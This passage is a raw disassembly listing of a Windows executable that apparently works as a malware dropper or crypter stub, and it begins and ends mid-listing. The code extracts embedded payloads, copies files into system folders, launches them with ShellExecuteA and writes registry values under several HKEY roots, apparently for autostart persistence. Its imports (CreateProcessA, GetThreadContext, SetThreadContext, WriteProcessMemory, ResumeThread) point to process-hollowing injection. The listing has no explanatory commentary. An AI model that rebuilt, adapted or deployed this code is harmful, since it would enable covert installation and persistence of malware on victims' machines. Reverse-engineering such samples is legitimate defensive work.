		call	sub_4013B0
		mov	eax, [ebp-44h]
		lea	edx, [ebp-40h]
		call	sub_402CDC
		mov	edx, [ebp-40h]
		mov	eax, offset dword_406E24
		mov	ecx, ds:dword_406E24
		call	sub_401F50
		mov	edx, ds:dword_406F74
		mov	eax, offset dword_406E28
		call	sub_4016A4
		mov	edx, 1
		mov	eax, offset dword_406E28
		call	sub_401A08
		call	sub_401228
		push	0
		mov	eax, ds:dword_406E24
		call	sub_401F04
		push	eax
		mov	eax, offset dword_406E24
		call	sub_4020AC
		mov	edx, eax
		mov	eax, offset dword_406E28
		pop	ecx
		call	sub_4017C8
		call	sub_401228
		mov	eax, offset dword_406E28
		call	sub_4017E8
		call	sub_401228
		push	0
		push	0
		push	0
		mov	eax, ds:dword_406F74
		call	sub_402058
		push	eax
		push	offset aOpen	; "open"
		push	0
		call	ShellExecuteA
		jmp	loc_404560
; ---------------------------------------------------------------------------


loc_404348:				; CODE XREF: CODE:004041E4j
		mov	eax, ds:dword_406E24
		call	sub_401F04
		cdq
		push	edx
		push	eax
		mov	eax, ds:dword_406F80
		xor	edx, edx
		sub	[esp], eax
		sbb	[esp+4], edx
		pop	eax
		pop	edx
		mov	edx, eax
		mov	eax, offset dword_406E24
		mov	ecx, ds:dword_406F80
		call	sub_4020F4


loc_404377:				; CODE XREF: CODE:004041C0j
		mov	eax, ds:dword_406F84
		cmp	byte ptr [eax+6Bh], 0
		jz	short loc_4043BC


loc_404382:				; CODE XREF: CODE:004043BAj
		push	0
		lea	edx, [ebp-48h]
		xor	eax, eax
		call	sub_4013B0
		mov	eax, [ebp-48h]
		push	eax
		mov	eax, offset dword_406E24
		call	sub_4020AC
		xor	ecx, ecx
		pop	edx
		call	sub_403640
		mov	ds:byte_406F78,	al
		push	0FA0h
		call	Sleep
		cmp	ds:byte_406F78,	1
		jnz	short loc_404382


loc_4043BC:				; CODE XREF: CODE:00404380j
		mov	eax, ds:dword_406F84
		cmp	byte ptr [eax+6Ch], 0
		jz	short loc_4043FF


loc_4043C7:				; CODE XREF: CODE:004043FDj
		push	0
		mov	eax, offset dword_406E24
		call	sub_4020AC
		push	eax
		lea	eax, [ebp-4Ch]
		call	sub_403038
		mov	edx, [ebp-4Ch]
		xor	ecx, ecx
		pop	eax
		call	sub_403640
		mov	ds:byte_406F78,	al
		push	0FA0h
		call	Sleep
		cmp	ds:byte_406F78,	1
		jnz	short loc_4043C7


loc_4043FF:				; CODE XREF: CODE:004043C5j
		mov	eax, ds:dword_406F84
		cmp	byte ptr [eax+6Dh], 0
		jz	loc_404560
		lea	eax, [ebp-54h]
		mov	edx, ds:dword_406F84
		add	edx, 6Eh
		mov	ecx, 32h
		call	sub_401EEC
		mov	eax, [ebp-54h]
		lea	edx, [ebp-50h]
		call	sub_4033B0
		mov	edx, [ebp-50h]
		mov	eax, offset dword_406F74
		call	sub_401E18
		cmp	ds:dword_406F74, 0
		jnz	short loc_40449B
		lea	eax, [ebp-58h]
		mov	edx, ds:dword_406F84
		add	edx, 6Eh
		mov	ecx, 32h
		call	sub_401EEC
		mov	eax, [ebp-58h]
		call	sub_402CB8
		test	al, al
		jz	short loc_404481
		mov	eax, offset dword_406F74
		mov	edx, ds:dword_406F84
		add	edx, 6Eh
		mov	ecx, 32h
		call	sub_401EEC
		jmp	short loc_40449B
; ---------------------------------------------------------------------------


loc_404481:				; CODE XREF: CODE:00404465j
		lea	edx, [ebp-5Ch]
		mov	eax, offset dword_404830
		call	sub_4033B0
		mov	edx, [ebp-5Ch]
		mov	eax, offset dword_406F74
		call	sub_401E18


loc_40449B:				; CODE XREF: CODE:00404443j
					; CODE:0040447Fj
		push	ds:dword_406F74
		push	offset dword_40483C
		lea	eax, [ebp-60h]
		mov	edx, ds:dword_406F84
		add	edx, 0Ah
		mov	ecx, 32h
		call	sub_401EEC
		push	dword ptr [ebp-60h]
		mov	eax, offset dword_406F74
		mov	edx, 3
		call	sub_401FC4
		mov	edx, ds:dword_406F74
		mov	eax, offset dword_406E28
		call	sub_4016A4
		mov	edx, 1
		mov	eax, offset dword_406E28
		call	sub_401A08
		call	sub_401228
		push	0
		mov	eax, ds:dword_406E24
		call	sub_401F04
		push	eax
		mov	eax, offset dword_406E24
		call	sub_4020AC
		mov	edx, eax
		mov	eax, offset dword_406E28
		pop	ecx
		call	sub_4017C8
		call	sub_401228
		mov	eax, offset dword_406E28
		call	sub_4017E8
		call	sub_401228
		mov	eax, ds:dword_406F84
		cmp	byte ptr [eax+0A0h], 0
		jz	short loc_404560
		mov	eax, ds:dword_406F84
		movzx	eax, byte ptr [eax+0A1h]
		push	eax
		push	0
		push	0
		mov	eax, ds:dword_406F74
		call	sub_402058
		push	eax
		push	offset aOpen	; "open"
		push	0
		call	ShellExecuteA


loc_404560:				; CODE XREF: CODE:00404063j
					; CODE:004040D6j ...
		add	edi, 0C0h
		add	esi, 4
		add	ebx, 4
		dec	ds:dword_406E20
		jnz	loc_40403D
		mov	edx, offset aAus ; "AUS"
		mov	eax, offset dword_4064F8
		call	sub_403368
		mov	ebx, eax
		test	ebx, ebx
		jz	loc_4047F8	; default
					; jumptable 00404745 case 0
		cmp	ds:dword_4064F8, 0
		jle	loc_4047F8	; default
					; jumptable 00404745 case 0
		lea	edx, [ebp-64h]
		xor	eax, eax
		call	sub_4013B0
		mov	eax, [ebp-64h]
		mov	ecx, offset dword_406F80
		mov	edx, offset dword_406F7C
		call	sub_402E38
		test	al, al
		jnz	loc_4047F8	; default
					; jumptable 00404745 case 0
		mov	edx, offset dword_4064FC
		mov	eax, ebx
		mov	ecx, ds:dword_4064F8
		call	sub_401264
		mov	eax, offset dword_4064E8
		mov	edx, offset dword_406504
		mov	ecx, 81h
		call	sub_401EEC
		mov	eax, offset dword_4064EC
		mov	edx, offset byte_406585
		mov	ecx, 41h
		call	sub_401EEC
		mov	eax, offset dword_4064F0
		mov	edx, offset word_4065C6
		mov	ecx, 41h
		call	sub_401EEC
		mov	eax, offset dword_4064F4
		mov	edx, offset byte_406607
		mov	ecx, 41h
		call	sub_401EEC
		push	0
		push	14h
		push	0
		push	32h
		mov	ecx, offset dword_4064E8
		mov	edx, offset dword_404864
		mov	eax, ds:dword_4064E8
		call	sub_403B84
		push	0
		push	14h
		push	0
		push	32h
		mov	ecx, offset dword_4064EC
		mov	edx, offset dword_404864
		mov	eax, ds:dword_4064EC
		call	sub_403B84
		push	0
		push	14h
		push	0
		push	32h
		mov	ecx, offset dword_4064F0
		mov	edx, offset dword_404864
		mov	eax, ds:dword_4064F0
		call	sub_403B84
		push	0
		push	14h
		push	0
		push	32h
		mov	ecx, offset dword_4064F4
		mov	edx, offset dword_404864
		mov	eax, ds:dword_4064F4
		call	sub_403B84
		lea	edx, [ebp-68h]
		mov	eax, ds:dword_4064F0
		call	sub_4033B0
		mov	edx, [ebp-68h]
		mov	eax, offset dword_406F74
		call	sub_401E18
		cmp	ds:dword_406F74, 0
		jnz	short loc_4046F1
		mov	eax, ds:dword_4064F0
		call	sub_402CB8
		test	al, al
		jz	short loc_4046D7
		mov	eax, offset dword_406F74
		mov	edx, ds:dword_4064F0
		call	sub_401E18
		jmp	short loc_4046F1
; ---------------------------------------------------------------------------


loc_4046D7:				; CODE XREF: CODE:004046C3j
		lea	edx, [ebp-6Ch]
		mov	eax, offset aSystemroot	; "SystemRoot"
		call	sub_4033B0
		mov	edx, [ebp-6Ch]
		mov	eax, offset dword_406F74
		call	sub_401E18


loc_4046F1:				; CODE XREF: CODE:004046B5j
					; CODE:004046D5j
		push	ds:dword_406F74
		push	offset dword_40483C
		push	ds:dword_4064F4
		mov	eax, offset dword_406F74
		mov	edx, 3
		call	sub_401FC4
		push	0
		mov	eax, ds:dword_406F74
		call	sub_402058
		push	eax
		lea	edx, [ebp-70h]
		xor	eax, eax
		call	sub_4013B0
		mov	eax, [ebp-70h]
		call	sub_402058
		push	eax
		call	CopyFileA
		mov	eax, ds:dword_4064FC
		cmp	eax, 5		; switch 6 cases
		ja	loc_4047F8	; default
					; jumptable 00404745 case 0
		jmp	off_40474C[eax*4] ; switch jump
; ---------------------------------------------------------------------------
off_40474C	dd offset loc_4047F8	; DATA XREF: CODE:00404745r
		dd offset loc_404764	; jump table for switch	statement
		dd offset loc_404782
		dd offset loc_4047A0
		dd offset loc_4047BE
		dd offset loc_4047DC
; ---------------------------------------------------------------------------


loc_404764:				; CODE XREF: CODE:00404745j
					; DATA XREF: CODE:off_40474Co
		mov	eax, ds:dword_406F74 ; jumptable 00404745 case 1
		push	eax
		mov	ecx, ds:dword_4064EC
		mov	edx, ds:dword_4064E8
		mov	eax, 80000000h
		call	sub_402C0C
		jmp	short loc_4047F8 ; default
					; jumptable 00404745 case 0
; ---------------------------------------------------------------------------


loc_404782:				; CODE XREF: CODE:00404745j
					; DATA XREF: CODE:off_40474Co
		mov	eax, ds:dword_406F74 ; jumptable 00404745 case 2
		push	eax
		mov	ecx, ds:dword_4064EC
		mov	edx, ds:dword_4064E8
		mov	eax, 80000001h
		call	sub_402C0C
		jmp	short loc_4047F8 ; default
					; jumptable 00404745 case 0
; ---------------------------------------------------------------------------


loc_4047A0:				; CODE XREF: CODE:00404745j
					; DATA XREF: CODE:off_40474Co
		mov	eax, ds:dword_406F74 ; jumptable 00404745 case 3
		push	eax
		mov	ecx, ds:dword_4064EC
		mov	edx, ds:dword_4064E8
		mov	eax, 80000002h
		call	sub_402C0C
		jmp	short loc_4047F8 ; default
					; jumptable 00404745 case 0
; ---------------------------------------------------------------------------


loc_4047BE:				; CODE XREF: CODE:00404745j
					; DATA XREF: CODE:off_40474Co
		mov	eax, ds:dword_406F74 ; jumptable 00404745 case 4
		push	eax
		mov	ecx, ds:dword_4064EC
		mov	edx, ds:dword_4064E8
		mov	eax, 80000003h
		call	sub_402C0C
		jmp	short loc_4047F8 ; default
					; jumptable 00404745 case 0
; ---------------------------------------------------------------------------


loc_4047DC:				; CODE XREF: CODE:00404745j
					; DATA XREF: CODE:off_40474Co
		mov	eax, ds:dword_406F74 ; jumptable 00404745 case 5
		push	eax
		mov	ecx, ds:dword_4064EC
		mov	edx, ds:dword_4064E8
		mov	eax, 80000005h
		call	sub_402C0C


loc_4047F8:				; CODE XREF: CODE:0040458Bj
					; CODE:00404598j ...
		xor	eax, eax	; default
					; jumptable 00404745 case 0
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40481A


loc_404805:				; CODE XREF: CODE:00404818j
		lea	eax, [ebp-70h]
		mov	edx, 18h
		call	sub_401DE8
		retn
; ---------------------------------------------------------------------------


loc_404813:				; DATA XREF: CODE:00403FEBo
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_404805
; ---------------------------------------------------------------------------


loc_40481A:				; CODE XREF: CODE:00404812j
					; DATA XREF: CODE:00404800o
		pop	edi
		pop	esi
		pop	ebx
		call	sub_401CDC
; ---------------------------------------------------------------------------
		align 4
dword_404824	dd 544553h, 0FFFFFFFFh,	3 ; DATA XREF: CODE:00403FF6o
dword_404830	dd 504D54h, 0FFFFFFFFh,	1 ; DATA XREF: CODE:004041F2o
					; CODE:00404484o
dword_40483C	dd 5Ch,	0FFFFFFFFh, 4	; DATA XREF: CODE:004041FFo
					; CODE:004044A1o ...
dword_404848	dd 6578652Eh, 0		; DATA XREF: CODE:00404243o
aOpen		db 'open',0             ; DATA XREF: CODE:00404337o
					; CODE:00404554o
		align 4
aAus		db 'AUS',0              ; DATA XREF: CODE:00404578o
		dd 0FFFFFFFFh, 3
dword_404864	dd 747561h, 0FFFFFFFFh,	0Ah ; DATA XREF: CODE:00404631o
					; CODE:0040464Do ...
aSystemroot	db 'SystemRoot',0       ; DATA XREF: CODE:004046DAo
		align 200h
CODE		ends

; Section 2. (virtual address 00005000)
; Virtual size			: 000000C8 (	200.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00003E00
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
DATA		segment	para public 'DATA' use32
		assume cs:DATA
		;org 405000h
dword_405000	dd 0			; DATA XREF: sub_401CAC+2w
					; sub_401CDC+9o ...
dword_405004	dd 0			; DATA XREF: sub_4011C4w
					; sub_401CDC:loc_401D0Br ...
dword_405008	dd 0			; DATA XREF: sub_401410+31w
					; sub_4018C8+3r ...
byte_40500C	db 2			; DATA XREF: sub_40190C+4Er
					; sub_4019ECr ...
		db 8Dh,	40h, 0
byte_405010	db 0			; DATA XREF: sub_401B6Cr
		db 8Dh,	40h, 0
byte_405014	db 1			; DATA XREF: sub_4016A4+25r
		db 8Dh,	40h, 0
dword_405018	dd 0			; DATA XREF: sub_402858r sub_402858+8w
dword_40501C	dd 0			; DATA XREF: sub_402868+4r
off_405020	dd offset sub_402868	; DATA XREF: sub_401CDC+66r
off_405024	dd offset nullsub_1	; DATA XREF: sub_402260+67r
off_405028	dd offset nullsub_1	; DATA XREF: sub_402260+71r
off_40502C	dd offset sub_401C00	; DATA XREF: sub_401C00+Fr
					; sub_401C00+35r ...
off_405030	dd offset sub_401BCC	; DATA XREF: sub_401CDC:loc_401D2Ar
off_405034	dd offset nullsub_1	; DATA XREF: sub_401CDC:loc_401D5Dr
off_405038	dd offset nullsub_1	; DATA XREF: sub_4028CC:loc_4028F4r
; DWORD	dwFlags
dwFlags		dd 0			; DATA XREF: sub_4010F4+1r
					; sub_401108+4r ...
off_405040	dd offset sub_4010F4	; DATA XREF: sub_401144+4r
					; sub_401174+3Fr
off_405044	dd offset sub_401108	; DATA XREF: sub_40115C+4r
					; sub_401174+26r
off_405048	dd offset sub_40112C	; DATA XREF: sub_401174+Dr
byte_40504C	db 0			; DATA XREF: sub_4011D0+36r
aRsu		db 'ËÌÈÉ×ÏÈÍÎÛØÊÙÚÜÝÞßàáã',0
aFxn@		db 'äå@',0
dword_405068	dd 3			; DATA XREF: sub_40190C+5Ar
		align 10h
		dd 1, 2, 3, 3 dup(0)
off_405088	dd offset nullsub_1	; DATA XREF: sub_401CDC+38r
dword_40508C	dd 0			; DATA XREF: sub_4029DCo
					; sub_4029E8+33o
dword_405090	dd 0			; DATA XREF: sub_4029E8+1Bw
dword_405094	dd 0			; DATA XREF: sub_4029E8+22w
dword_405098	dd 0			; DATA XREF: sub_4029E8+29w
		dd 2 dup(0)
dword_4050A4	dd 1			; DATA XREF: sub_403634+3r
		dd 10h,	2, 20h,	4, 40h,	4, 40h
off_4050C4	dd offset byte_40500C	; DATA XREF: sub_402CDC+33r
		align 200h
DATA		ends

; Section 3. (virtual address 00006000)
; Virtual size			: 00000F89 (   3977.)
; Section size in file		: 00000000 (	  0.)
; Offset to raw	data for section: 00004000
; Flags	C0000000: Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Regular
; Segment permissions: Read/Write
BSS		segment	para public '' use32
		assume cs:BSS
		;org 406000h
		assume es:nothing, ss:nothing, ds:CODE,	fs:nothing, gs:nothing
dword_406000	dd ?			; DATA XREF: sub_402914+13w
dword_406004	dd ?			; DATA XREF: sub_4011D0+9r
					; sub_4011D0+16r
dword_406008	dd ?			; DATA XREF: sub_401B6C+1Cr
					; sub_401C70w
dword_40600C	dd ?			; DATA XREF: sub_401C70+Aw
dword_406010	dd ?			; DATA XREF: sub_401CDC+A0r
					; sub_401CDC+A9r
dword_406014	dd ?			; DATA XREF: sub_401C70+29w
dword_406018	dd ?			; DATA XREF: sub_402914+27w
byte_40601C	db ?			; DATA XREF: sub_401C70+2Ew
		align 10h
dword_406020	dd ?			; DATA XREF: sub_401CDC+Eo
dword_406024	dd 73h dup(?)		; DATA XREF: sub_4017E8:loc_401827o
dword_4061F0	dd 73h dup(?)		; DATA XREF: CODE:loc_401645o
dword_4063BC	dd ?			; DATA XREF: sub_4028CC+11w
					; sub_402914w
; HANDLE hHeap
hHeap		dd ?			; DATA XREF: sub_4010F4+7r
					; sub_401108+Dr ...
dword_4063C4	dd 2 dup(?)		; DATA XREF: sub_401BCC+4o
					; sub_401CAC+Do ...
dword_4063CC	dd ?			; DATA XREF: sub_401C54r
					; sub_401C70+14w
dword_4063D0	dd ?			; DATA XREF: sub_401C00+20w
					; sub_401C70+1Bw
dword_4063D4	dd ?			; DATA XREF: sub_401C70+20w
		dd 6 dup(?)
dword_4063F0	dd ?			; DATA XREF: sub_4028CC+19r
					; sub_4028CC+22r
dword_4063F4	dd ?			; DATA XREF: sub_402580o
					; sub_402580+19w ...
dword_4063F8	dd ?			; DATA XREF: sub_4025A8r
		dd 29h dup(?)
byte_4064A0	db ?			; DATA XREF: sub_40299Cr
		align 4
; DWORD	TlsIndex
TlsIndex	dd ?			; DATA XREF: sub_402958+Cr
					; sub_402958+37r ...
		dd ?
; HMODULE hModule
hModule		dd ?			; DATA XREF: sub_4029E8+11w
					; sub_4029E8+16r ...
dword_4064B0	dd ?			; DATA XREF: sub_402A2C+11w
					; CODE:loc_402A5Cw
dword_4064B4	dd ?			; DATA XREF: sub_40299C:loc_4029CBr
dword_4064B8	dd ?			; DATA XREF: sub_402A64+11w
					; sub_402A94w
dword_4064BC	dd ?			; DATA XREF: sub_402B8C+11w
					; sub_402BBCw
dword_4064C0	dd ?			; DATA XREF: sub_402BD4+11w
					; sub_402C04w
dword_4064C4	dd ?			; DATA XREF: sub_403448+11w
					; sub_403478w
dword_4064C8	dd ?			; DATA XREF: sub_4035FC+11w
					; sub_40362Cw
dword_4064CC	dd ?			; DATA XREF: sub_40348C+6r
					; sub_40348C+24w ...
dword_4064D0	dd ?			; DATA XREF: sub_40350C+6r
					; sub_40350C+24w ...
dword_4064D4	dd ?			; DATA XREF: sub_403590+3r
					; sub_403590+21w ...
dword_4064D8	dd ?			; DATA XREF: sub_4038C8+11w
					; sub_4038F8w
dword_4064DC	dd ?			; DATA XREF: sub_403C10+11w
					; sub_403C40w
dword_4064E0	dd ?			; DATA XREF: sub_403DF8+11w
					; sub_403E28w
dword_4064E4	dd ?			; DATA XREF: sub_403F04+11w
					; sub_403F34w
dword_4064E8	dd ?			; DATA XREF: CODE:004045D4o
					; CODE:0040462Co ...
dword_4064EC	dd ?			; DATA XREF: CODE:004045E8o
					; CODE:00404648o ...
dword_4064F0	dd ?			; DATA XREF: CODE:004045FCo
					; CODE:00404664o ...
dword_4064F4	dd ?			; DATA XREF: CODE:00404610o
					; CODE:00404680o ...
dword_4064F8	dd ?			; DATA XREF: CODE:0040457Do
					; CODE:00404591r ...
dword_4064FC	dd ?			; DATA XREF: CODE:004045C2o
					; CODE:00404736r
		dd ?
dword_406504	dd 20h dup(?)		; DATA XREF: CODE:004045D9o
		db ?
byte_406585	db 3 dup(?)		; DATA XREF: CODE:004045EDo
		dd 0Fh dup(?)
		db 2 dup(?)
word_4065C6	dw ?			; DATA XREF: CODE:00404601o
		dd 0Fh dup(?)
		db 3 dup(?)
byte_406607	db ?			; DATA XREF: CODE:00404615o
		dd 11h dup(?)
dword_40664C	dd 1E0h	dup(?)		; DATA XREF: CODE:loc_404012o
					; CODE:00404038o
dword_406DCC	dd 0Ah dup(?)		; DATA XREF: CODE:0040402Eo
dword_406DF4	dd 0Ah dup(?)		; DATA XREF: CODE:00404033o
dword_406E1C	dd ?			; DATA XREF: CODE:00403FFBo
					; CODE:00404019r
dword_406E20	dd ?			; DATA XREF: CODE:00404024w
					; CODE:0040456Cw
dword_406E24	dd ?			; DATA XREF: CODE:loc_40403Do
					; CODE:00404069o ...
dword_406E28	dd 53h dup(?)		; DATA XREF: CODE:004042D0o
					; CODE:004042DFo ...
dword_406F74	dd ?			; DATA XREF: CODE:00404248o
					; CODE:004042CAr ...
byte_406F78	db ?			; DATA XREF: CODE:004043A4w
					; CODE:004043B3r ...
		align 4
dword_406F7C	dd ?			; DATA XREF: CODE:004040A3o
					; CODE:004041D8o ...
dword_406F80	dd ?			; DATA XREF: CODE:0040409Eo
					; CODE:004040B1r ...
dword_406F84	dd ?			; DATA XREF: CODE:0040408Cw
					; CODE:004040BAr ...
		align 80h
BSS		ends

;
; Imports from kernel32.dll
;
; Section 4. (virtual address 00007000)
; Virtual size			: 000005EA (   1514.)
; Section size in file		: 00000600 (   1536.)
; Offset to raw	data for section: 00004000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Externs
; _idata
; DWORD	__stdcall GetCurrentThreadId()
		extrn __imp_GetCurrentThreadId:dword ; DATA XREF: GetCurrentThreadIdr
; DWORD	__stdcall GetLastError()
		extrn __imp_GetLastError:dword ; CODE XREF: sub_42941B+27p
					; DATA XREF: GetLastErrorr ...
; void __stdcall ExitProcess(UINT uExitCode)
		extrn __imp_ExitProcess:dword ;	DATA XREF: ExitProcessr
; BOOL __stdcall WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite,	LPDWORD	lpNumberOfBytesWritten,	LPOVERLAPPED lpOverlapped)
		extrn __imp_WriteFile:dword ; DATA XREF: WriteFiler
					; CODE:loc_401714r
; DWORD	__stdcall SetFilePointer(HANDLE	hFile, LONG lDistanceToMove, PLONG lpDistanceToMoveHigh, DWORD dwMoveMethod)
		extrn __imp_SetFilePointer:dword ; DATA	XREF: SetFilePointerr
; BOOL __stdcall SetEndOfFile(HANDLE hFile)
		extrn __imp_SetEndOfFile:dword ; DATA XREF: SetEndOfFiler
		extrn RtlUnwind:dword	; DATA XREF: CODE:loc_4010A4r
; BOOL __stdcall ReadFile(HANDLE hFile,	LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped)
		extrn __imp_ReadFile:dword ; DATA XREF:	ReadFiler
					; CODE:loc_40170Cr
; void __stdcall RaiseException(DWORD dwExceptionCode, DWORD dwExceptionFlags, DWORD nNumberOfArguments, const ULONG_PTR *lpArguments)
		extrn RaiseException:dword ; DATA XREF:	CODE:loc_401094r
; HANDLE __stdcall GetStdHandle(DWORD nStdHandle)
		extrn __imp_GetStdHandle:dword ; DATA XREF: GetStdHandler
; DWORD	__stdcall GetFileSize(HANDLE hFile, LPDWORD lpFileSizeHigh)
		extrn __imp_GetFileSize:dword ;	DATA XREF: GetFileSizer
; void __stdcall GetSystemTime(LPSYSTEMTIME lpSystemTime)
		extrn __imp_GetSystemTime:dword	; DATA XREF: GetSystemTimer
; DWORD	__stdcall GetFileType(HANDLE hFile)
		extrn __imp_GetFileType:dword ;	DATA XREF: GetFileTyper
; HANDLE __stdcall CreateFileA(LPCSTR lpFileName, DWORD	dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes,	DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE	hTemplateFile)
		extrn __imp_CreateFileA:dword ;	DATA XREF: CreateFileAr
; BOOL __stdcall CloseHandle(HANDLE hObject)
		extrn __imp_CloseHandle:dword ;	DATA XREF: CloseHandler
; LPSTR	__stdcall GetCommandLineA()
		extrn __imp_GetCommandLineA:dword ; DATA XREF: GetCommandLineAr
; BOOL __stdcall TlsSetValue(DWORD dwTlsIndex, LPVOID lpTlsValue)
		extrn __imp_TlsSetValue:dword ;	DATA XREF: TlsSetValuer
; LPVOID __stdcall TlsGetValue(DWORD dwTlsIndex)
		extrn __imp_TlsGetValue:dword ;	DATA XREF: TlsGetValuer
; HLOCAL __stdcall LocalAlloc(UINT uFlags, SIZE_T uBytes)
		extrn __imp_LocalAlloc:dword ; DATA XREF: LocalAllocr
; HMODULE __stdcall GetModuleHandleA(LPCSTR lpModuleName)
		extrn __imp_GetModuleHandleA:dword ; DATA XREF:	GetModuleHandleAr
; DWORD	__stdcall GetModuleFileNameA(HMODULE hModule, LPCH lpFilename, DWORD nSize)
		extrn __imp_GetModuleFileNameA:dword ; DATA XREF: GetModuleFileNameAr
; BOOL __stdcall FreeLibrary(HMODULE hLibModule)
		extrn __imp_FreeLibrary:dword ;	DATA XREF: FreeLibraryr
; BOOL __stdcall HeapFree(HANDLE hHeap,	DWORD dwFlags, LPVOID lpMem)
		extrn __imp_HeapFree:dword ; DATA XREF:	HeapFreer
; LPVOID __stdcall HeapReAlloc(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem, SIZE_T dwBytes)
		extrn __imp_HeapReAlloc:dword ;	DATA XREF: HeapReAllocr
; LPVOID __stdcall HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes)
		extrn __imp_HeapAlloc:dword ; DATA XREF: HeapAllocr
; HANDLE __stdcall GetProcessHeap()
		extrn __imp_GetProcessHeap:dword ; DATA	XREF: GetProcessHeapr

;
; Imports from user32.dll
;
; LPSTR	__stdcall CharNextA(LPCSTR lpsz)
		extrn __imp_CharNextA:dword ; DATA XREF: CharNextAr

;
; Imports from oleaut32.dll
;
; void __stdcall SysFreeString(BSTR bstrString)
		extrn __imp_SysFreeString:dword	; DATA XREF: SysFreeStringr
; INT __stdcall	SysReAllocStringLen(BSTR *pbstr, const OLECHAR *psz, unsigned int len)
		extrn __imp_SysReAllocStringLen:dword ;	DATA XREF: SysReAllocStringLenr

;
; Imports from advapi32.dll
;
; LSTATUS __stdcall RegSetValueExA(HKEY	hKey, LPCSTR lpValueName, DWORD	Reserved, DWORD	dwType,	const BYTE *lpData, DWORD cbData)
		extrn __imp_RegSetValueExA:dword ; DATA	XREF: RegSetValueExAr
; LSTATUS __stdcall RegOpenKeyA(HKEY hKey, LPCSTR lpSubKey, PHKEY phkResult)
		extrn __imp_RegOpenKeyA:dword ;	DATA XREF: RegOpenKeyAr
; LSTATUS __stdcall RegCloseKey(HKEY hKey)
		extrn __imp_RegCloseKey:dword ;	DATA XREF: RegCloseKeyr

;
; Imports from kernel32.dll
;
; BOOL __stdcall WriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten)
		extrn __imp_WriteProcessMemory:dword ; DATA XREF: WriteProcessMemoryr
; BOOL __stdcall TerminateProcess(HANDLE hProcess, UINT	uExitCode)
		extrn __imp_TerminateProcess:dword ; DATA XREF:	TerminateProcessr
; void __stdcall Sleep(DWORD dwMilliseconds)
		extrn __imp_Sleep:dword	; DATA XREF: Sleepr
; DWORD	__stdcall SizeofResource(HMODULE hModule, HRSRC	hResInfo)
		extrn __imp_SizeofResource:dword ; DATA	XREF: SizeofResourcer
; BOOL __stdcall SetThreadContext(HANDLE hThread, const	CONTEXT	*lpContext)
		extrn __imp_SetThreadContext:dword ; DATA XREF:	SetThreadContextr
; void __stdcall SetLastError(DWORD dwErrCode)
		extrn __imp_SetLastError:dword ; DATA XREF: SetLastErrorr
; DWORD	__stdcall SetFilePointer_0(HANDLE hFile, LONG lDistanceToMove, PLONG lpDistanceToMoveHigh, DWORD dwMoveMethod)
		extrn __imp_SetFilePointer_0:dword ; DATA XREF:	SetFilePointer_0r
; DWORD	__stdcall ResumeThread(HANDLE hThread)
		extrn __imp_ResumeThread:dword ; DATA XREF: ResumeThreadr
; BOOL __stdcall ReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead)
		extrn __imp_ReadProcessMemory:dword ; DATA XREF: ReadProcessMemoryr
; BOOL __stdcall ReadFile_0(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped)
		extrn __imp_ReadFile_0:dword ; DATA XREF: ReadFile_0r
; LPVOID __stdcall LockResource(HGLOBAL	hResData)
		extrn __imp_LockResource:dword ; DATA XREF: LockResourcer
; HGLOBAL __stdcall LoadResource(HMODULE hModule, HRSRC	hResInfo)
		extrn __imp_LoadResource:dword ; DATA XREF: LoadResourcer
; BOOL __stdcall GetThreadContext(HANDLE hThread, LPCONTEXT lpContext)
		extrn __imp_GetThreadContext:dword ; DATA XREF:	GetThreadContextr
; FARPROC __stdcall GetProcAddress(HMODULE hModule, LPCSTR lpProcName)
		extrn __imp_GetProcAddress:dword ; DATA	XREF: GetProcAddressr
; HMODULE __stdcall GetModuleHandleA_0(LPCSTR lpModuleName)
		extrn __imp_GetModuleHandleA_0:dword ; DATA XREF: GetModuleHandleA_0r
; DWORD	__stdcall GetFileSize_0(HANDLE hFile, LPDWORD lpFileSizeHigh)
		extrn __imp_GetFileSize_0:dword	; DATA XREF: GetFileSize_0r
; DWORD	__stdcall GetFileAttributesA(LPCSTR lpFileName)
		extrn __imp_GetFileAttributesA:dword ; DATA XREF: GetFileAttributesAr
; DWORD	__stdcall GetEnvironmentVariableA(LPCSTR lpName, LPSTR lpBuffer, DWORD nSize)
		extrn __imp_GetEnvironmentVariableA:dword
					; DATA XREF: GetEnvironmentVariableAr
; BOOL __stdcall FreeResource(HGLOBAL hResData)
		extrn __imp_FreeResource:dword ; DATA XREF: FreeResourcer
; HRSRC	__stdcall FindResourceA(HMODULE	hModule, LPCSTR	lpName,	LPCSTR lpType)
		extrn __imp_FindResourceA:dword	; DATA XREF: FindResourceAr
; void __stdcall ExitProcess_0(UINT uExitCode)
		extrn __imp_ExitProcess_0:dword	; DATA XREF: ExitProcess_0r
; BOOL __stdcall DeleteFileA(LPCSTR lpFileName)
		extrn __imp_DeleteFileA:dword ;	DATA XREF: DeleteFileAr
; BOOL __stdcall CreateProcessA(LPCSTR lpApplicationName, LPSTR	lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES	lpThreadAttributes, BOOL bInheritHandles, DWORD	dwCreationFlags, LPVOID	lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo,	LPPROCESS_INFORMATION lpProcessInformation)
